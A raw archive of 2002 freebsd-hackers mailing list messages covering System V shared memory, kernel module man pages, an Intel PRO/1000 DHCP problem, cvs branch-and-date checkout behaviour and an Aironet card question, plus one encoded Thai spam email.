Content-Disposition: inline In-Reply-To: <3D17DBC1.351A8A35@mindspring.com> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Terry Lambert [020624 19:58] wrote: > Alfred Perlstein wrote: > > * Terry Lambert [020624 19:17] wrote: > > > > > > System V shared memory is allocated out of KVA space (annoying, > > > but true). > > > > You keep saying this but the backing object allocated for sysvshm > > is taken from either an OBJT_PHYS or OBJT_SWAP object. > > Uh, it's only ever an OBJT_SWAP; see line 532 of kern/sysv_shm.c. Your sources seem to be really out of date... Depending on the sysctl 'shm_use_phys' either an OBJT_PHYS or OBJT_SWAP is allocated: 656 if (shm_use_phys) { 657 shm_handle->shm_object = 658 vm_pager_allocate(OBJT_PHYS, 0, size, VM_PROT_DEFAUL T, 0); 659 } else { 660 shm_handle->shm_object = 661 vm_pager_allocate(OBJT_SWAP, 0, size, VM_PROT_DEFAUL T, 0); 662 } > > At what point does it eat KVA that is other than for the backing > > data structures? > > It eats address space, not RAM. And even if the mappings are not > active (which they usually are, because of LRU and processes > accessing them shared), the pages containing the page table entries > for each process are themselves not swappable; anything with a > large VSZ is going to eat 1/4k pages in KVA there, too. > > Ask yourself where a shared memory segment lives when it's not in > attached to one process address space, prior to you ipcrm'ing it. > It has to remain referenced so it isn't reclaimed. Yes, but not mapped into the kernel's address space right? right??? -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' Tax deductible donations for FreeBSD: http://www.freebsdfoundation.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 2:36: 9 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14]) by hub.freebsd.org (Postfix) with ESMTP id 8E9DC37B409 for ; Tue, 25 Jun 2002 02:34:39 -0700 (PDT) Received: from beagle (beagle [193.175.132.100]) by mailhub.fokus.gmd.de (8.11.6/8.11.6) with ESMTP id g5P9YcW25682 for ; Tue, 25 Jun 2002 11:34:38 +0200 (MEST) Date: Tue, 25 Jun 2002 11:34:37 +0200 (CEST) From: Harti Brandt To: hackers@freebsd.org Subject: Installing headers and man pages for kmods Message-ID: <20020625112754.F395-100000@beagle.fokus.gmd.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi there, is there a canonical way to do this? Some time ago the ability to install man pages was removed from kmod.mk. This is reasonable for the system itself, but for third party packages this either forces one to poke in the internals of /usr/share/mk (not an exciting experience) or to fit the source layout to the one expected by the system. The latter is not so nice if you have let's say 6 netgraph nodes, each one with a header file and a man page. You get the c files in 6 per node directories, the man pages in another directory, the header files in a third one. Given, that they are strongly related to each other this is rather unfortunate. At the moment I managed it to include the relevant make file (bsd.man.mk and bsd.incs.mk) from Makefile.inc, but as I suppose, this possibility may be removed at any time. Given that this seems to work, wouldn't it be possible to remove the bsd.init.mk check from those files, so that they can be included from Makefile? Regards, harti -- harti brandt, http://www.fokus.gmd.de/research/cc/cats/employees/hartmut.brandt/private brandt@fokus.fhg.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 2:57:49 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from hotmail.com (oe24.pav2.hotmail.com [64.4.36.81]) by hub.freebsd.org (Postfix) with ESMTP id 8A8E137B686; Tue, 25 Jun 2002 02:55:14 -0700 (PDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 25 Jun 2002 02:55:11 -0700 X-Originating-IP: [203.144.144.233] From: "mont" To: Subject: =?windows-874?B?cGFydC10aW1lIDUsMDAwLTEwLDAwMCCk2LOh57fT5LTpICEhIQ==?= Date: Tue, 25 Jun 2002 16:45:57 +0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0205_01C21C67.C7D305E0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Message-ID: X-OriginalArrivalTime: 25 Jun 2002 09:55:11.0687 (UTC) FILETIME=[6581BD70:01C21C2E] Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0205_01C21C67.C7D305E0 Content-Type: text/plain; charset="windows-874" Content-Transfer-Encoding: quoted-printable = =C3=D0=BA=BA=A1=D2=C3=B7=D3=A7=D2=B9=A2=CD=A7=B8=D8=C3=A1=D4=A8=E3=B9=CD=B9= =D2=A4=B5 =B7=D3=E4=B4=E9=A7=E8=D2=C2 = =E1=C5=D0=CA=C3=E9=D2=A7=C3=D2=C2=E4=B4=E9=A7=D2=C1=A8=D2=A1=A1=D2=C3=B7=D3= =A7=D2=B9=BC=E8=D2=B9=C3=D0=BA=BA =BC=C1=C1=D5=C3=D2=C2=E4=B4=E9=C1=D2=A1=A1=C7=E8=D2 30,000 / = =E0=B4=D7=CD=B9 = =A8=D2=A1=A1=D2=C3=B7=D3=A7=D2=B9=E0=BE=D5=C2=A7=C7=D1=B9=C5=D0 2-3 = =AA=D1=E8=C7=E2=C1=A7=E0=B7=E8=D2=B9=D1=E9=B9 =E2=CD=A1=D2=CA=C1=D2=B6=D6=A7=A4=D8=B3=E1=C5=E9=C7 ! = =E0=CB=C5=D7=CD=E1=B5=E8=E0=BE=D5=C2=A7=A4=D8=B3=A8=D0=A4=C7=E9=D2=C1=D1=B9= =CB=C3=D7=CD=E0=BB=C5=E8=D2 =A1=D2=C3=BA=C3=C3=C2=D2=C2=E1=B9=D0=B9=D3=B8=D8=C3=A1=D4=A8 = International E-Business =E0=C3=D5=C2=B9=C3=D9=E9=C7=D4=B8=D5=A1=D2=C3=B7=D3=A7=D2=B9 = =B8=D8=C3=A1=D4=A8=B9=D2=B9=D2=AA=D2=B5=D4 =BA=B9 Internet=20 = =E0=C3=D5=C2=B9=C3=D9=E9=E1=BC=B9=A1=D2=C3=B7=D3=A7=D2=B9=E0=BE=D4=E8=C1=C3= =D2=C2=E4=B4=E9=BE=D4=E0=C8=C9=E3=B9=E1=B5=E8=C5=D0=E0=B4=D7=CD=B9 = =E1=BC=B9=C3=D2=C2=E4=B4=E9=CD=C2=E8=D2=A7=A8=C3=D4=A7=A8=D1=A7=E1=BA=BA=B7= =D3=A7=D2=B9 Part-time 15,000 =B6=D6=A7 60,000 =BA=D2=B7/=E0=B4=D7=CD=B9 =E0=C7=C5=D2=B7=D5=E8=B5=E9=CD=A7=E3=AA=E9 : 7- 14 =AA=C1. = /=CA=D1=BB=B4=D2=CB=EC=20 = =E1=BC=B9=C3=D2=C2=E4=B4=E9=CD=C2=E8=D2=A7=A8=C3=D4=A7=A8=D1=A7=E1=BA=BA=B7= =D3=A7=D2=B9 full-time 30,000 =B6=D6=A7 170,000 =BA=D2=B7/=E0=B4=D7=CD=B9 =E0=C7=C5=D2=B7=D5=E8=B5=E9=CD=A7=E3=AA=E9 : 20- 40 =AA=C1. = /=CA=D1=BB=B4=D2=CB=EC=20 =A2=E8=D2=C7=B4=D5 ! =CA=D3=CB=C3=D1=BA = =BC=D9=E9=B7=D5=E8=CD=C2=D9=E8=E3=B9=E0=A2=B5 =A1=C3=D8=A7=E0=B7=BE=CF = =E1=C5=D0=BB=C3=D4=C1=C5=B1=C5 = =CA=D3=C3=CD=A7=B7=D5=E8=B9=D1=E8=A7=E0=BE=D7=E8=CD=BF=D1=A7=A1=D2=C3=BA=C3= =C3=C2=D2=C2 =BF=C3=D5 !!! = ************************************************************* = =A2=CD=CD=C0=D1=C2=CB=D2=A1=A2=E9=CD=A4=C7=D2=C1=B9=D5=E9=E4=BB=B6=D6=A7=A4= =D8=B3=E2=B4=C2=BA=D1=A7=E0=CD=D4=AD=CB=D2=A1=A4=D8=B3=E4=C1=E8=B5=E9=CD=A7= =A1=D2=C3=C3=D1=BA=A2=E9=CD=A4=C7=D2=C1=B9=D5=E9=CD=D5=A1 =A1=C3=D8=B3=D2 =E1=A8=E9=A7 Mail = =A2=CD=A7=A4=D8=B3=B7=D5=E8=B5=E9=CD=A7=A1=D2=C3=C5=BA=C1=D2=B7=D5=E8 = "Unsubscribe" =20 =20 ------=_NextPart_000_0205_01C21C67.C7D305E0 Content-Type: text/html; charset="windows-874" Content-Transfer-Encoding: quoted-printable

=C3=D0=BA=BA=A1=D2=C3=B7=D3=A7=D2=B9=A2=CD=A7=B8=D8=C3=A1=D4=A8= =E3=B9=CD=B9=D2=A4=B5
=B7=D3=E4=B4=E9=A7=E8=D2=C2=20 = =E1=C5=D0=CA=C3=E9=D2=A7=C3=D2=C2=E4=B4=E9=A7=D2=C1=A8=D2=A1=A1=D2=C3=B7=D3= =A7=D2=B9=BC=E8=D2=B9=C3=D0=BA=BA
=BC=C1=C1=D5=C3=D2=C2=E4=B4=E9=C1=D2=A1=A1=C7=E8=D2=20 30,000 / =E0=B4=D7=CD=B9 = =A8=D2=A1=A1=D2=C3=B7=D3=A7=D2=B9=E0=BE=D5=C2=A7=C7=D1=B9=C5=D0 2-3=20 = =AA=D1=E8=C7=E2=C1=A7=E0=B7=E8=D2=B9=D1=E9=B9
=E2=CD=A1=D2=CA=C1=D2=B6=D6=A7=A4=D8=B3=E1=C5=E9=C7=20 !
=E0=CB=C5=D7=CD=E1=B5=E8=E0=BE=D5=C2=A7=A4=D8=B3=A8=D0=A4=C7= =E9=D2=C1=D1=B9=CB=C3=D7=CD=E0=BB=C5=E8=D2

=A1=D2=C3=BA=C3=C3=C2=D2=C2=E1=B9=D0=B9=D3=B8=D8=C3=A1=D4= =A8 International=20 E-Business
=E0=C3=D5=C2=B9=C3=D9=E9=C7=D4=B8=D5=A1=D2=C3=B7=D3=A7=D2= =B9 =B8=D8=C3=A1=D4=A8=B9=D2=B9=D2=AA=D2=B5=D4 =BA=B9 Internet=20
=E0=C3=D5=C2=B9=C3=D9=E9=E1=BC=B9=A1=D2=C3=B7=D3=A7=D2=B9= =E0=BE=D4=E8=C1=C3=D2=C2=E4=B4=E9=BE=D4=E0=C8=C9=E3=B9=E1=B5=E8=C5=D0=E0=B4= =D7=CD=B9

=E1=BC=B9=C3=D2=C2=E4=B4=E9=CD=C2=E8=D2=A7=A8=C3=D4=A7=A8=D1=A7=E1=BA= =BA=B7=D3=A7=D2=B9 Part-time
15,000 =B6=D6=A7 = 60,000=20 = =BA=D2=B7/=E0=B4=D7=CD=B9
=E0=C7=C5=D2=B7=D5=E8=B5=E9=CD=A7=E3=AA=E9 = : 7- 14 =AA=C1. /=CA=D1=BB=B4=D2=CB=EC=20 =
=E1=BC=B9=C3=D2=C2=E4=B4=E9=CD=C2=E8=D2=A7=A8=C3=D4=A7=A8=D1=A7=E1=BA= =BA=B7=D3=A7=D2=B9 full-time
30,000 =B6=D6=A7 170,000=20 = =BA=D2=B7/=E0=B4=D7=CD=B9
=E0=C7=C5=D2=B7=D5=E8=B5=E9=CD=A7=E3=AA=E9 = : 20- 40 =AA=C1. /=CA=D1=BB=B4=D2=CB=EC

=A2=E8=D2=C7=B4=D5=20 !     = =CA=D3=CB=C3=D1=BA = =BC=D9=E9=B7=D5=E8=CD=C2=D9=E8=E3=B9=E0=A2=B5=20 =A1=C3=D8=A7=E0=B7=BE=CF  = =E1=C5=D0=BB=C3=D4=C1=C5=B1=C5
=CA=D3=C3=CD=A7=B7=D5=E8=B9=D1=E8=A7=E0=BE=D7=E8=CD=BF=D1=A7=A1=D2= =C3=BA=C3=C3=C2=D2=C2   = =BF=C3=D5 !!!
*************************************************************
          &nbs= p; =20 =A2=CD=CD=C0=D1=C2=CB=D2=A1=A2=E9=CD=A4=C7=D2=C1=B9=D5=E9=E4=BB= =B6=D6=A7=A4=D8=B3=E2=B4=C2=BA=D1=A7=E0=CD=D4=AD=CB=D2=A1=A4=D8=B3=E4=C1=E8= =B5=E9=CD=A7=A1=D2=C3=C3=D1=BA=A2=E9=CD=A4=C7=D2=C1=B9=D5=E9=CD=D5=A1
=   =20 =            =        =20 =A1=C3=D8=B3=D2 =E1=A8=E9=A7 Mail=20 = =A2=CD=A7=A4=D8=B3=B7=D5=E8=B5=E9=CD=A7=A1=D2=C3=C5=BA=C1=D2=B7=D5=E8 = "Unsubscribe"

------=_NextPart_000_0205_01C21C67.C7D305E0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 7:54:35 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from cse.cs.huji.ac.il (cse.cs.huji.ac.il [132.65.16.30]) by hub.freebsd.org (Postfix) with ESMTP id B07D337B403 for ; Tue, 25 Jun 2002 07:54:24 -0700 (PDT) Received: from pampa.cs.huji.ac.il ([132.65.80.32] ident=danny) by cse.cs.huji.ac.il with esmtp id 17Mri3-0000il-00 for freebsd-hackers@FreeBSD.ORG; Tue, 25 Jun 2002 17:54:23 +0300 X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: freebsd-hackers@FreeBSD.ORG Subject: em/Intel(R) PRO/1000 problems (fwd) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----- =_aaaaaaaaaa0" Content-ID: <59616.1025016863.0@pampa.cs.huji.ac.il> Date: Tue, 25 Jun 2002 17:54:23 +0300 From: Danny Braniss Message-Id: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ------- =_aaaaaaaaaa0 Content-Type: text/plain; charset="us-ascii" Content-ID: <59616.1025016863.1@pampa.cs.huji.ac.il> sorry for the cross posting, but didn't get much response from stable (and it seems they are running out of disk space :-) ------- =_aaaaaaaaaa0 Content-Type: message/rfc822 Content-ID: <59616.1025016863.2@pampa.cs.huji.ac.il> Content-Description: forwarded message From owner-freebsd-stable@FreeBSD.ORG Mon Jun 24 11:55:19 2002 Received: from mx2.freebsd.org ([216.136.204.119]) by cse.cs.huji.ac.il with esmtp id 17MPcz-000KHj-00 for danny@cs.huji.ac.il; Mon, 24 Jun 2002 11:55:18 +0300 Received: from hub.freebsd.org (hub.FreeBSD.org [216.136.204.18]) by mx2.freebsd.org (Postfix) with ESMTP id 15B55562A8; Mon, 24 Jun 2002 01:55:09 -0700 (PDT) (envelope-from owner-freebsd-stable@FreeBSD.ORG) Received: by hub.freebsd.org (Postfix, from userid 538) id 1811137B404; Mon, 24 Jun 2002 01:55:03 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with SMTP id 5FEA32E800A; Mon, 24 Jun 2002 01:55:00 -0700 (PDT) Received: by hub.freebsd.org (bulk_mailer v1.12); Mon, 24 Jun 2002 01:55:00 -0700 Delivered-To: freebsd-stable@freebsd.org Received: from cse.cs.huji.ac.il (cse.cs.huji.ac.il [132.65.16.30]) by hub.freebsd.org (Postfix) with ESMTP id 0640337B403 for ; Mon, 24 Jun 2002 01:54:56 -0700 (PDT) Received: from pampa.cs.huji.ac.il ([132.65.80.32] ident=danny) by cse.cs.huji.ac.il with esmtp id 17MOog-000IXa-00 for freebsd-stable@freebsd.org; Mon, 24 Jun 2002 11:03:18 +0300 X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: freebsd-stable@freebsd.org Subject: em/Intel(R) PRO/1000 problems Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 24 Jun 2002 11:03:18 +0300 From: Danny Braniss Message-Id: Sender: owner-freebsd-stable@FreeBSD.ORG List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Precedence: bulk X-Authentication-Warning: Sender is not authenticated em0: and em0: both drivers work fine when setting ifconfig_em0="xx.xxx.xx.xx" but get stuck if using DHCP, sniffing shows the host sending arp requests and i can see the responces, but they are either not received or ignored. something similar happens if using PXE/diskless, the kernel get loaded ok, but when it tries to remount / via NFS it gets stuck. any insight? danny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message ------- =_aaaaaaaaaa0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 9:38: 4 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from kali.avantgo.com (shadow.avantgo.com [64.157.226.66]) by hub.freebsd.org (Postfix) with ESMTP id 25F2437B400 for ; Tue, 25 Jun 2002 09:37:55 -0700 (PDT) Received: from river.avantgo.com ([10.11.30.114]) by kali.avantgo.com with Microsoft SMTPSVC(5.0.2195.3779); Tue, 25 Jun 2002 09:37:49 -0700 Date: Tue, 25 Jun 2002 09:37:49 -0700 (PDT) From: Scott Hess To: Makoto Matsushita Cc: hackers@freebsd.org Subject: Re: cvs(1) bug? with cvs update -rX -DY In-Reply-To: <20020625132020U.matusita@jp.FreeBSD.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-OriginalArrivalTime: 25 Jun 2002 16:37:49.0887 (UTC) FILETIME=[A4EA84F0:01C21C66] Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 25 Jun 2002, Makoto Matsushita wrote: > I found a strange behavior of cvs (see sample session below). > > Checking out the source codes seems OK, but when I update the codes with > -r and -D options, source codes are disappeared. cvs update with -r > option only is OK for me. > > Is it a bug, or just my misunderstandings of cvs behavior? I've noticed this, and it's annoying. If you do 'cvs update -r TAG -r TAG', you get updated with the changes between the two tags. If you do 'cvs update -D DATE -D DATE', you get the changes between the two dates on the trunk. 'cvs update -r TAG -D DATE' gives you the changes between the given TAG and the given DATE on the trunk, which is pretty bad if TAG is a branch tag. This also applies to diff. rtag has a similar issue, where you can't lay down a tag for a given date on a branch - you can tag by tag or by date, not by both. To accomplish that, you have to check things out by tag and date (which works fine), and tag the result. [I only mention it because if you could rtag by tag+date, then there's an easy workaround for the update and diff issue.] You could simply pop up a couple directories and checkout the given tag and date over your existing checkout. CVS is smart enough to notice that you've already got something checked out, and it will just update things. You also might be able to work around it by using -j, which allows TAG:DATE. Something like 'cvs update -j TAG:OLDDATE -j TAG:TARGETDATE' (OLDDATE is the date you used when you originally checked the project out). It would be great if -r allowed TAG:DATE, scott To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 10:21: 5 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from castle.jp.FreeBSD.org (castle.jp.FreeBSD.org [210.226.20.15]) by hub.freebsd.org (Postfix) with ESMTP id 7140837B403 for ; Tue, 25 Jun 2002 10:20:59 -0700 (PDT) Received: from localhost (localhost [::1]) by castle.jp.FreeBSD.org (8.11.6+3.4W/8.11.3) with ESMTP/inet6 id g5PHKtn73992; Wed, 26 Jun 2002 02:20:55 +0900 (JST) (envelope-from matusita@jp.FreeBSD.org) Cc: hackers@freebsd.org In-Reply-To: References: <20020625132020U.matusita@jp.FreeBSD.org> X-User-Agent: Mew/1.94.2 XEmacs/21.5 (bamboo) X-FaceAnim: (-O_O-)(O_O- )(_O- )(O- )(- -)( -O)( -O_)( -O_O)(-O_O-) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Dispatcher: imput version 20000228(IM140) Lines: 15 From: Makoto Matsushita To: scott@avantgo.com Subject: Re: cvs(1) bug? with cvs update -rX -DY Date: Wed, 26 Jun 2002 02:20:52 +0900 Message-Id: <20020626022052V.matusita@jp.FreeBSD.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG scott> I've noticed this, and it's annoying. If you do 'cvs update -r TAG -r scott> TAG', you get updated with the changes between the two tags. Ah, I've just forgotten this... scott> You could simply pop up a couple directories and checkout the scott> given tag and date over your existing checkout. CVS is smart scott> enough to notice that you've already got something checked out, scott> and it will just update things. It would be fine to me. Thank you. -- - Makoto `MAR' Matsushita To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 10:41:14 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.mmk.ru (ns1.mmk.ru [195.54.3.19]) by hub.freebsd.org (Postfix) with ESMTP id 4525C37B414 for ; Tue, 25 Jun 2002 10:40:42 -0700 (PDT) Received: from antivirus.mmk.ru (sinful [161.8.100.3]) by ns.mmk.ru (8.11.6/8.11.6) with ESMTP id g5PHdxd57408 for ; Tue, 25 Jun 2002 23:39:59 +0600 (YEKST) (envelope-from freebsd@mmk.ru) Received: from wall.mmk.ru (localhost [127.0.0.1]) by antivirus.mmk.ru (8.11.6/8.11.6) with ESMTP id g5PHb9M09523 for ; Tue, 25 Jun 2002 23:37:09 +0600 (ESD) Received: from dimasic (vpnlsa1.vpnlsa.mmk.chel.su [10.0.95.1]) by wall.mmk.ru (8.12.3/8.12.3) with SMTP id g5PHdo9i013143 for ; Tue, 25 Jun 2002 23:39:51 +0600 (YEKST) (envelope-from freebsd@mmk.ru) Message-ID: <002901c21c6e$f391e3c0$02020101@dimasic> From: "Dmitry A. Bondareff" To: Subject: PCI4800 Date: Tue, 25 Jun 2002 23:34:12 +0600 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0024_01C21CA0.CFF15540" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0024_01C21CA0.CFF15540 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: quoted-printable Hello, super guys! Last 3 days I was trying to connect an Aironet card PCI4800 with Cisco = Aironet series 340. No success! Does anybody do it ?? Dimasic. ------=_NextPart_000_0024_01C21CA0.CFF15540 Content-Type: text/html; charset="koi8-r" Content-Transfer-Encoding: quoted-printable
Hello, super guys!
 
Last 3 days I was trying to = connect an=20 Aironet card PCI4800 with Cisco Aironet series 340.
No success!
 
Does anybody do it = ??
 
Dimasic.
------=_NextPart_000_0024_01C21CA0.CFF15540-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 10:45: 4 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from castle.jp.FreeBSD.org (castle.jp.FreeBSD.org [210.226.20.15]) by hub.freebsd.org (Postfix) with ESMTP id 37A5537B401 for ; Tue, 25 Jun 2002 10:44:30 -0700 (PDT) Received: from localhost (localhost [::1]) by castle.jp.FreeBSD.org (8.11.6+3.4W/8.11.3) with ESMTP/inet6 id g5PHiQn84999; Wed, 26 Jun 2002 02:44:27 +0900 (JST) (envelope-from matusita@jp.FreeBSD.org) Cc: hackers@freebsd.org In-Reply-To: <20020626022052V.matusita@jp.FreeBSD.org> References: <20020625132020U.matusita@jp.FreeBSD.org> <20020626022052V.matusita@jp.FreeBSD.org> X-User-Agent: Mew/1.94.2 XEmacs/21.5 (bamboo) X-FaceAnim: (-O_O-)(O_O- )(_O- )(O- )(- -)( -O)( -O_)( -O_O)(-O_O-) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Dispatcher: imput version 20000228(IM140) Lines: 51 From: Makoto Matsushita To: scott@avantgo.com Subject: Re: cvs(1) bug? with cvs update -rX -DY Date: Wed, 26 Jun 2002 02:44:24 +0900 Message-Id: <20020626024424P.matusita@jp.FreeBSD.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG scott> You could simply pop up a couple directories and checkout the scott> given tag and date over your existing checkout. CVS is smart scott> enough to notice that you've already got something checked out, scott> and it will just update things. matusita> It would be fine to me. Thank you. Hmm, my cvs(1) doesn't allow me to checkout. % rm -rf src % cvs -R -d /home/ncvs checkout -rRELENG_4 -D"Wed Jun 26 00:00:00 JST 2002" src/contrib/lukemftpd cvs checkout: Updating src/contrib/lukemftpd cvs checkout: Updating src/contrib/lukemftpd/src % ls -R src/contrib/lukemftpd CVS src/contrib/lukemftpd/CVS: Entries Repository Root Tag % Am I still wrong? I want to checkout specific time of RELENG_4 branch of source code. Checkout other source code seems fine (see below), but I cannot checkout lukemftpd... % cvs -R -d /home/ncvs checkout -rRELENG_4 -D"Wed Jun 26 00:00:00 JST 2002" src/contrib/one-true-awk cvs checkout: Updating src/contrib/one-true-awk U src/contrib/one-true-awk/FIXES U src/contrib/one-true-awk/FREEBSD-upgrade U src/contrib/one-true-awk/README U src/contrib/one-true-awk/awk.1 U src/contrib/one-true-awk/awk.h U src/contrib/one-true-awk/awkgram.y U src/contrib/one-true-awk/b.c U src/contrib/one-true-awk/lex.c U src/contrib/one-true-awk/lib.c U src/contrib/one-true-awk/mac.code U src/contrib/one-true-awk/main.c U src/contrib/one-true-awk/makefile U src/contrib/one-true-awk/maketab.c U src/contrib/one-true-awk/parse.c U src/contrib/one-true-awk/proctab.c U src/contrib/one-true-awk/proto.h U src/contrib/one-true-awk/run.c U src/contrib/one-true-awk/tran.c % grep FreeBSD: src/contrib/one-true-awk/* src/contrib/one-true-awk/FREEBSD-upgrade:# $FreeBSD: src/contrib/one-true-awk/FREEBSD-upgrade,v 1.3.2.1 2002/06/21 20:09:40 obrien Exp $ % -- - Makoto `MAR' Matsushita To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 11:40: 5 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from odin.ac.hmc.edu (Odin.AC.HMC.Edu [134.173.32.75]) by hub.freebsd.org (Postfix) with ESMTP id 7981437B412 for ; Tue, 25 Jun 2002 11:39:30 -0700 (PDT) Received: from odin.ac.hmc.edu (IDENT:brdavis@localhost.localdomain [127.0.0.1]) by odin.ac.hmc.edu (8.12.3/8.12.3) with ESMTP id g5PIdSri021914; Tue, 25 Jun 2002 11:39:28 -0700 Received: (from brdavis@localhost) by odin.ac.hmc.edu (8.12.3/8.12.3/Submit) id g5PIdSXj021913; Tue, 25 Jun 2002 11:39:28 -0700 Date: Tue, 25 Jun 2002 11:39:28 -0700 From: Brooks Davis To: "Dmitry A. Bondareff" Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: PCI4800 Message-ID: <20020625113928.B30424@Odin.AC.HMC.Edu> References: <002901c21c6e$f391e3c0$02020101@dimasic> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="BwCQnh7xodEAoBMC" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <002901c21c6e$f391e3c0$02020101@dimasic>; from freebsd@mmk.ru on Tue, Jun 25, 2002 at 11:34:12PM +0600 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) on odin.ac.hmc.edu Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --BwCQnh7xodEAoBMC Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Jun 25, 2002 at 11:34:12PM +0600, Dmitry A. Bondareff wrote: > Last 3 days I was trying to connect an Aironet card PCI4800 with Cisco > Aironet series 340. What EXACTLY did you try to do and what didn't work? -- Brooks --=20 Any statement of the form "X is the one, true Y" is FALSE. PGP fingerprint 655D 519C 26A7 82E7 2529 9BF0 5D8E 8BE9 F238 1AD4 --BwCQnh7xodEAoBMC Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9GLjgXY6L6fI4GtQRAoV3AJ45jWXjJxbmHE+k03TD4CH1/gSZlwCgxC4M ZEaKKzdM985c/w5AseEQKbs= =jzyD -----END PGP SIGNATURE----- --BwCQnh7xodEAoBMC-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 13:10:52 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from albatross.prod.itd.earthlink.net (albatross.mail.pas.earthlink.net [207.217.120.120]) by hub.freebsd.org (Postfix) with ESMTP id 9D88F37B6FD for ; Tue, 25 Jun 2002 13:09:09 -0700 (PDT) Received: from pool0300.cvx21-bradley.dialup.earthlink.net ([209.179.193.45] 